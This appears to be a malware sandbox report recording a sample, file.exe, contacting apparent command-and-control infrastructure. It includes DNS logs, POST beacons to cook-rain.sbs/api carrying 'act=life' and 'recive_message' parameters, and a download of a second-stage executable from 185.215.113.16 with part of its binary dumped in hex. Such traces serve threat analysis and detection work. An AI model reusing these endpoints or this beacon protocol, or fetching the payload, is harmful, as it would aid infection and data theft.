Nov 21, 2024 00:03:41.623927116 CET	1.1.1.1	192.168.2.7	0xf696	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:41.645314932 CET	1.1.1.1	192.168.2.7	0x508	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:42.233726978 CET	1.1.1.1	192.168.2.7	0x8f69	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:42.233726978 CET	1.1.1.1	192.168.2.7	0x8f69	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:42.233726978 CET	1.1.1.1	192.168.2.7	0x8f69	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:42.233726978 CET	1.1.1.1	192.168.2.7	0x8f69	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:42.234380960 CET	1.1.1.1	192.168.2.7	0xdc8c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:42.234380960 CET	1.1.1.1	192.168.2.7	0xdc8c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:49.804272890 CET	1.1.1.1	192.168.2.7	0x4e3	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:49.804585934 CET	1.1.1.1	192.168.2.7	0x1602	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:53.108922958 CET	1.1.1.1	192.168.2.7	0x7e00	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:53.127022028 CET	1.1.1.1	192.168.2.7	0x5a13	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:04:00.260180950 CET	1.1.1.1	192.168.2.7	0xfe9e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:04:00.277479887 CET	1.1.1.1	192.168.2.7	0x84b9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49760	185.215.113.16	80	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 00:03:19.634567976 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 21, 2024 00:03:20.989213943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 23:03:20 GMT Content-Type: application/octet-stream Content-Length: 2739712 Last-Modified: Wed, 20 Nov 2024 22:51:00 GMT Connection: keep-alive ETag: "673e67d4-29ce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 9a 20 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ * `Ui` @ @.rsrc`2@.idata 8@msvutlce)n):@ataimnvx )@.taggant@@*")@
Nov 21, 2024 00:03:20.989233017 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990430117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990504980 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990516901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990561962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990575075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990706921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990719080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 00:03:20.990726948 CET	1236	IN	Data Raw: 66 38 72 b9 51 74 55 3f b8 66 25 ca 77 05 f5 81 90 43 7a f9 0b d9 52 4f 6b 12 04 8b 5a 77 85 eb 02 14 79 86 40 f8 9d 2a 3d 57 42 d4 93 42 1c 0f 05 ac a2 da 25 40 1f 97 80 db f4 51 95 63 56 e1 ae c2 33 4f 36 12 20 f1 91 1a 37 67 ae 96 97 6e 30 62 Data Ascii: f8rQtU?f%wCzROkZwy@=WBB%@QcV3O6 7gn0b%C2&+4+]Y}(N*LI=%PVypUmrBv_]jQw;n$3+;^v]k@7~:t_&o0hH7,=6J8c#.Wg"5^sO
Nov 21, 2024 00:03:21.109056950 CET	1236	IN	Data Raw: 28 73 1e 89 0c 37 71 9f c4 26 33 80 11 b6 08 a4 61 35 67 86 51 c6 73 9d 0c 29 42 8a 4c 77 29 a4 d2 32 60 85 1a 33 2b f4 6d 26 5a 87 71 50 67 9f 62 ad 75 e9 76 aa 5e e7 67 18 4a bb bc f0 68 f6 71 69 ef 04 c1 89 89 f5 6b 68 52 a1 5c f2 00 9c 6c a2 Data Ascii: (s7q&3a5gQs)BLw)2`3+m&ZqPgbuv^gJhqikhR\lWyzEC^aJ7n?$sOV/o`4(}oKdv[1o5vmJh,DRGJJ,J)0CoQ%G9-QnWN`}O[;N1EqP~Qq\|AB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:02:58 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 23:02:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 23:02:59 UTC	984	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pfcbe1b2i9g51pv6n2offgpner; expires=Sun, 16-Mar-2025 16:49:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=if9Jg4ReDllA2EsOr%2Fvj34sMhF%2BWvFxncKqDz08EA%2Bw4Bs5cC0V%2F3BW7HU8XpAfV%2Fd7Ut1oznAHzwQiAiMFevnCgnkjLoK1HydKgfWge4KnxPAiNhQPeHs7iiLoEJQQp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c12194ded185d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2118&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=1392465&cwnd=236&unsent_bytes=0&cid=b749eee2e8dde0b4&ts=723&x=0"
2024-11-20 23:02:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 23:02:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49701	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:02:58 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:02:59 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:02:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230259Z-178bfbc474bxkclvhC1NYC69g400000000m000000000d39s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:02:59 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 23:02:59 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:00 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 23:03:00 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
